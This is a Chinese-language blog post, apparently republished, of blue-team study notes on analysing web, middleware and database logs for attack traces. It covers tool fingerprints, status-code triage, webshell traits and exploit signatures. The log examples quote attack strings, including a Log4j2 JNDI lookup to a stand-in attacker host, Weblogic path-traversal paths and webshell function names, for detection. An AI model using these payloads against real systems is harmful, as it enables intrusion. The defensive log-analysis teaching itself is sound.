当前位置: 首页 > news >正文

护网必学日志分析

最近在准备护网面试,但是看到csdn上面很多日志分析文章都收费,当然也有不收费的方法,但是直接看不是方便点?我大概搜集一下共同的知识点目录,整理一篇笔记供参考

一、 协议基础:HTTP 请求字段

一个完整的 HTTP 请求头部包含以下常见的字段:

  • Request Line(请求行):包括请求方法、请求的资源路径和 HTTP 协议版本,格式为:<METHOD> <URL> HTTP/<VERSION>

    • 例如GET /example HTTP/1.1

  • Host:指定目标服务器的主机名或 IP 地址。

    • 例如Host: www.example.com

  • User-Agent(UA,用户代理):发送请求的用户代理信息,用于描述客户端的软件应用程序、操作系统等。

    • 例如User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)...

  • Accept:指定客户端可以接受的响应内容类型,使用 MIME 类型。

    • 例如Accept: text/html, application/json

  • Accept-Language:指定客户端可以接受的语言类型。

  • Accept-Encoding:指定客户端可以接受的内容编码方式,用于压缩传输的数据(如gzip, deflate)。

  • Connection:指定是否需要持久连接(keep-alive)。

  • Referer:指定当前请求的来源页面的 URL,用于跟踪链接来源。在防盗链绕过、CSRF 攻击分析中是核心审计字段

  • Content-Type:指定请求体的媒体类型(如application/x-www-form-urlencodedapplication/json)。许多反序列化与文件上传漏洞的 Payload 会直接隐藏在此处

  • Content-Length:指定请求体的长度(字节数)。

二、 步骤一:基于字符串特征的攻击工具识别

在初筛阶段,通过已知的工具指纹(特征字符串)进行快速检索,可以瞬间识别出大量的自动化攻击行为。

如果在日志中(尤其是User-AgentURL 参数)发现下列字符串特征,可以直接确认为对应的攻击工具:

1. AWVS 扫描器(Acunetix Web Vulnerability Scanner)

  • 特征字符串acunetix_wvs_security_testacunetix

  • 表现形式:通常出现在 URL 参数、Cookie 或自定义请求头中,用于探测漏洞的存在性。

2. Appscan 扫描器

  • 特征字符串Appscan

  • 表现形式:多见于 User-Agent 或特定的测试路径参数中。

3. sqlmap(自动化注入工具)

  • 特征字符串sqlmap

  • 表现形式:在默认未修改的情况下,其 User-Agent 中会包含sqlmap/X.X#stable。此外,URL 中常伴随有boolean-based blind(布尔盲注)、UNION ALL SELECT等高频测序语句。

4. curl(命令行工具)

  • 特征字符串curl

  • 表现形式:User-Agent 中发现字符串curl(Linux 环境中用的多)。常用于红队手工验证漏洞连通性,或作为命令执行后下载恶意脚本(如一键木马下载)的客户端指纹。

三、 研判核心:HTTP 状态码的实战判定

2xx 成功(高危审计区)

  • 200 OK:请求成功。若请求行中包含whoamiselect../等恶意攻击特征且返回 200,说明攻击大概率成功或产生了回显,属于一类高危事件,必须立刻人工复现。

3xx 重定向(业务流追踪)

  • 302 Found/301 Moved Permanently:临时/永久重定向。在暴力破解分析中,如果大量 200(登录失败提示页)后突然出现一个 302(跳转至后台 index 页面),通常意味着密码已被成功爆破

4xx 客户端错误(探测与拦截判定)

  • 403 Forbidden:服务器拒绝请求。通常表明攻击 Payload 被安全设备(WAF)或中间件自带的权限策略成功拦截。

  • 404 Not Found:资源未找到。攻击者在进行敏感目录爆破(如盲猜/.git//config.bak)时,会产生铺天盖地的 404 日志。

5xx 服务器错误(代码层崩溃)

  • 500 Internal Server Error:服务器内部错误。在 SQL 注入(尤其是报错注入)或 Java 反序列化攻击中,畸形的输入经常导致后端解析器崩溃,从而触发 500 错误。不能盲目认为 500 就是失败,部分盲注和命令执行同样会触发 500。

四、 攻击行为谱系分析

1. 漏洞扫描

扫描器(如 AWVS、Appscan)的字典基数极大,进行盲扫时,绝大多数目标路径不存在,

  • 行为特征:来源地址相对固定,短时间内请求量暴增、且 404/403 占比高达 90% 以上

2. 暴力破解

字典碰撞

  • 研判技巧:密切观察响应体的长度(Content-Length)。

    如果数千条高频 POST 请求响应长度完全一致->应长度突变(如 342 字节,或直接 302 跳转),说明该条请求已爆破成功。

3. Webshell(大马/后门脚本)

  • 什么是大马:功能极全的单文件后门,具备文件管理、执行系统命令、执行数据库操作等完整权限。

  • 行为特征

    • 访问频率孤立且低频:人为控制访问频次极低

    • 页面孤立性:该脚本文件(如system.jspindex_backup.php)不存在任何正常页面链接指向它。

    • GET 或 POST参数及特征码外露:大马交互传递执行命令

  • 常见木马指纹提取

    • 传统大马:恶意函数调用,如eval(base64_decodeshell_execassert等。

    • 冰蝎(Behinder)

      • v3.0 阶段:经典的传输特征是密钥协商阶段

        旧版本中其 Accept 字段具有非常独特的固定格式h和权重(如text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8)。

      • 流量侧:全密文传输,但在日志层表现为对同一个孤立文件(如shell.jsp)持续发起相同长度的 POST 请求。

    • 哥斯拉(Godzilla)

      • Cookie 字段最后经常带有一个分号(;),其生成的响应体长度具有固定的特征比例

五、 资产视角:常见中间件及日志审计

1. Tomcat

  • 日志默认路径$TOMCAT_HOME/logs/

  • 重点审计对象

    • localhost_access_log.YYYY-MM-DD.txt:标准访问日志,记录 IP、时间、请求行、状态码、发送字节数。

    • catalina.out:标准系统输出日志。

      当系统遭遇Java 反序列化攻击Structs2 漏洞时,此日志会暴露出大量的Java 报错堆栈信息(如java.io.ObjectInputStream),是排查代码层失陷的重要依据。

2. Weblogic

  • 日志默认路径$DOMAIN_HOME/servers/$SERVER_NAME/logs/

  • 重点审计对象

    • access.log:常规 Web 访问日志。

    • 核心安全关注点:Weblogic 默认开放 7001 端口。红队经常利用T3 协议IIOP 协议发行反序列化攻击(如 CVE-2020-14882 后台任意命令执行)。这类HTTP 的流量需要结合主机的系统日志或网络全流量设备(天眼等)进行辅助审计。

3. Nginx

  • 日志默认路径/var/log/nginx//usr/local/nginx/logs/

  • 重点审计对象

    • access.log:访问日志。可通过修改nginx.conf里的log_format字段,强制让其记录$http_x_forwarded_for(真实源 IP)和$request_body(POST 请求体,但通常出于性能考虑默认关闭)。

    • error.log:错误日志,用于排查畸形请求或缓冲区溢出攻击。

4. Apache

  • 日志默认路径/var/log/apache2/(Linux) 或$APACHE_HOME/logs/(Windows)

  • 重点审计对象access.logerror.log。其日志格式多采用标准 CLF(通用日志格式)。

5. IIS (Internet Information Services)

  • 日志默认路径C:\inetpub\logs\LogFiles\W3SVC1\

  • 防守方避坑指南:IIS 日志默认采用W3C 扩展日志格式,其记录的时间是UTC 时间(格林威治标准时间)。在护网现场进行时间线溯源时,必须将 IIS 日志中的时间手动加上 8 小时

六、 数据层视角:三大主流数据库日志分析。

1. MySQL

  • 查询日志 (General Log):默认关闭(因其极度消耗系统性能)。

    若开启,将记录所有连接SQL 语句。如果开有此日志可精准锁定红队拿走了哪些数据。

  • 错误日志 (Error Log):默认开启,记录数据库启动、运行、停止过程中的异常。红队尝试利用udf.dll提权导致进程崩溃时,此处会有报错留存

2. SQL Server (MSSQL)

  • 审计方式: Windows事件查看器中的“应用程序日志”或 MSSQL 自身的“错误日志”。

  • 重点关注特征:重点审查是否有高危存储过程被激活并调用的记录,尤其是xp_cmdshell(该存储过程可以直接通过 SQL 语句调用 Windows 系统的 cmd 执行命令,是 MSSQL 提权的标志)。

3. Oracle

  • 审计日志 (Audit Trail):通过配置AUDIT命令,将安全事件记录在系统表SYS.AUD$中,或直接写入操作系统的.aud文件。

  • 重点关注特征:大厂核心数据常部署于 Oracle。应重点审计对DBA_USERS敏感用户表的变动,以及频繁利用SYS高级权限执行非常规数据泵导出(Exp/Imp)行为。

七、 实战演练:常见中间件漏洞的日志“弹孔”

1. Apache Log4j2 远程命令执行漏洞(CVE-2021-44228)

  • 日志特征:在访问日志的任何可输入字段(最常见于 User-Agent、URL 参数、X-Forwarded-For)中,包含字符串${jndi:ldap://${jndi:rmi://

  • 真实日志示例

    Plaintext

    192.168.1.100 - - [07/Jun/2026:21:00:01 +0800] "GET /index.php HTTP/1.1" 200 4522 "${jndi:ldap://attacker.com/vps}" "Mozilla/5.0..."

2. Struts2 远程代码执行漏洞(如 S2-045)

  • 日志特征:攻击者利用 OGNL 表达式引发注入。恶意 Payload 会隐藏在 HTTP 请求的Content-Type字段中,内部包含大段以#ognlmultipart/form-datajava.lang.ProcessBuilder构成的 Java 链式调用代码。

3. Weblogic 任意文件上传/未授权命令执行

  • 日志特征:在访问日志中,会出现针对特殊业务路径的未授权连续请求。例如针对/console/css/%252e%252e%252f(利用二次 URL 编码绕过权限验证)的请求,且紧随其后出现对未知 JSP 文件(如/bea_wls_internal/shell.jsp)的POST 200请求。

八、 步骤三:特征检验、分类线索与扩线分析

1. 全局关联分析四步走

[源IP聚合] ---> [时间线回溯] ---> [状态研判(定性)] ---> [网络拓扑横向拓网]

1.锁定源 IP,进行全量聚合:过滤单一源。

当发现某个 IP(如 47.X.X.X)触发了 sqlmap 拦截日志后,立即在全局日志中过滤该 IP 的所有访问记录。

2.时间线回溯(还原攻击剧本):行为排序。

按时间先后顺序(Timeline)排列该 IP 的动作:

• 20:00:00 - 大量 404,进行敏感目录扫描。

• 20:15:00 - 出现大量针对/index.php?id=的复杂 SQL 盲注语句(sqlmap 特征),状态码为 200。

• 20:20:00 - 出现对/upload.php的 POST 请求,状态码 200。

3.检验攻击结果,进行定性分析:失陷判定。

重点排查 20:20:00 文件上传后的行为。如果在 20:21:00 日志显示该 IP 开始访问/uploads/1.php且返回了 200,并且后续该路径下伴随着持续的、低频的 POST 交互。

【结论】:系统已被成功打入 Webshell,彻底失陷,触发高危预警。

4.网络拓扑横向拓网(扩线追击):同源拓扑扩散。

  1. 同 IP 拓网:检查该恶意 IP 是否还对内网/DMZ 区的其他相邻服务器发起过连接。

    1. 同特征(威胁情报)拓网:若红队中途更换了代理 IP,但其自定义的 User-Agent 或者是大马特有的请求体长度没有发生改变,可以通过这些“不变量特征”作为关键词,在日志中全局检索,揪出红队潜伏的其他跳板 IP。

九、 蓝队兵器谱:常见日志分析工具

1. 文本利器

  • EmEditor:支持打开多达数 GB 的超大文本文件,其内存优化极佳,具备极其强大的正则表达式查找和高亮功能。

  • Notepad++ / VS Code:适合查看中小体量的中间件配置日志。

2. 离线自动化分析小工具

  • 360星图 (LogAnalyzer):经典的离线日志自动化分析脚本。导入 Nginx/Apache 的access.log,即可全自动跑出一份漂亮的 HTML 报告,自动分类出 SQL 注入、XSS、海外 IP、恶意扫描的 Top 排行。

3. Linux 命令行三剑客(应急响应最高效武器)

在 Linux 服务器一线现场,grepawksort是最快速的分析法。

  • 实战命令示例:快速统计访问量前 10 名的 IP(极速定位扫描器或爆破源):

    Bash

    cat access.log | awk '{print $1}' | sort | uniq -c | sort -rn | head -n 10
  • 实战命令示例:在日志中快速检索是否存在 Log4j2 攻击:

    Bash

    grep -Ei "jndi:(ldap|rmi|http)" access.log

4. 体系化全局作战系统 (SIEM)

  • ELK Stack (Elasticsearch + Logstash + Kibana):通过 Logstash 实时全量解析服务器、WAF、防火墙日志,打入 Elasticsearch 建立索引,最后在 Kibana 大屏上通过强大的 Lucene 语法进行多维度的图表化关联审计,是大厂蓝队作战指挥部的标配。

http://www.jsqmd.com/news/983462/

相关文章:

  • C++学习实例:杨辉三角
  • MD5哈希算法:原理、应用与安全性解析
  • Kinetis K64引脚配置与选型实战:从数据手册到硬件设计
  • 大模型多轮对话状态管理:Spring Boot中的上下文工程实践
  • 苏州鑫鑫迷你仓|苏州本土高端短期仓库、自助仓储连锁品牌简介 - GrowthUME
  • 如何在3分钟内为Windows 11 24H2 LTSC添加微软应用商店:终极解决方案
  • 专升本备考时间表|从零基础到考前冲刺完整规划PDF
  • Windows网络性能测试实用指南:iperf3高效评估你的网络极限
  • 8 套毕业论文降重降 AIGC 工具实测对比,平衡双检测不翻车
  • 2026桥梁工程公司实力榜:木桥以“诚信筑基”领跑行业,六家高潜力本土品牌深度解析 - 品牌发掘
  • TPFanCtrl2:ThinkPad终极风扇控制解决方案 - 128级精准调速与双风扇独立管理
  • 架构腐化检测:从依赖分析到架构守护的工程化实践
  • Office文档秒级预览的革命:QuickLook.Plugin.OfficeViewer-Native深度解析
  • 【C++ STL vector】C++ STL vector 终极精讲:动态数组底层原理、两倍扩容机制、迭代器失效、增删查改、性能剖析与工程避坑指南
  • 高效破解百度网盘macOS版SVIP限制:免费提升下载速度的实用指南
  • 从i.MX 6SoloX数据手册修订历史看工业级硬件设计的可靠性打磨
  • 告别‘黑盒’调用:手把手教你用Python+clr调试C# DLL内部逻辑与异常
  • 终极歌词获取指南:如何快速免费下载网易云和QQ音乐LRC歌词
  • 如何快速掌握Trelby:免费专业的跨平台剧本写作软件完整指南
  • 黄金回收为什么克重总变少?行业计量作弊内幕+正规鉴别标准(郴州实测) - 小仙贝贝
  • 2026年6月 港澳台联考志愿填报实操与靠谱机构参考 - 起跑123
  • 工业级RAG检索
  • C++新手练手包:100个带图形界面的可运行小项目,含BGI驱动和BMP素材
  • 基于AI的微服务故障注入与混沌工程自动化:从手动演练到智能验证
  • 2026年深圳靠谱装修避坑指南:5家高保障装企实测推荐 - GrowthUME
  • 机器学习项目:MonkeyCode帮我快速搭建模型
  • 2026财税代理记账十强品牌测评:六家本土财税服务商以智能税务系统与合规性优势领跑行业深度解析 - 品牌发掘
  • 大模型Prompt工程的后端服务化:模板管理与版本控制实践
  • 长沙GEO优化公司排行:合规与实效双维度甄选指南 - 起跑123
  • 2026临沂漏水检测/管道漏水检测/消防自来水管道漏水检测-正规资质商家推荐(临沂维特漏水检测水电维修) - 资讯热点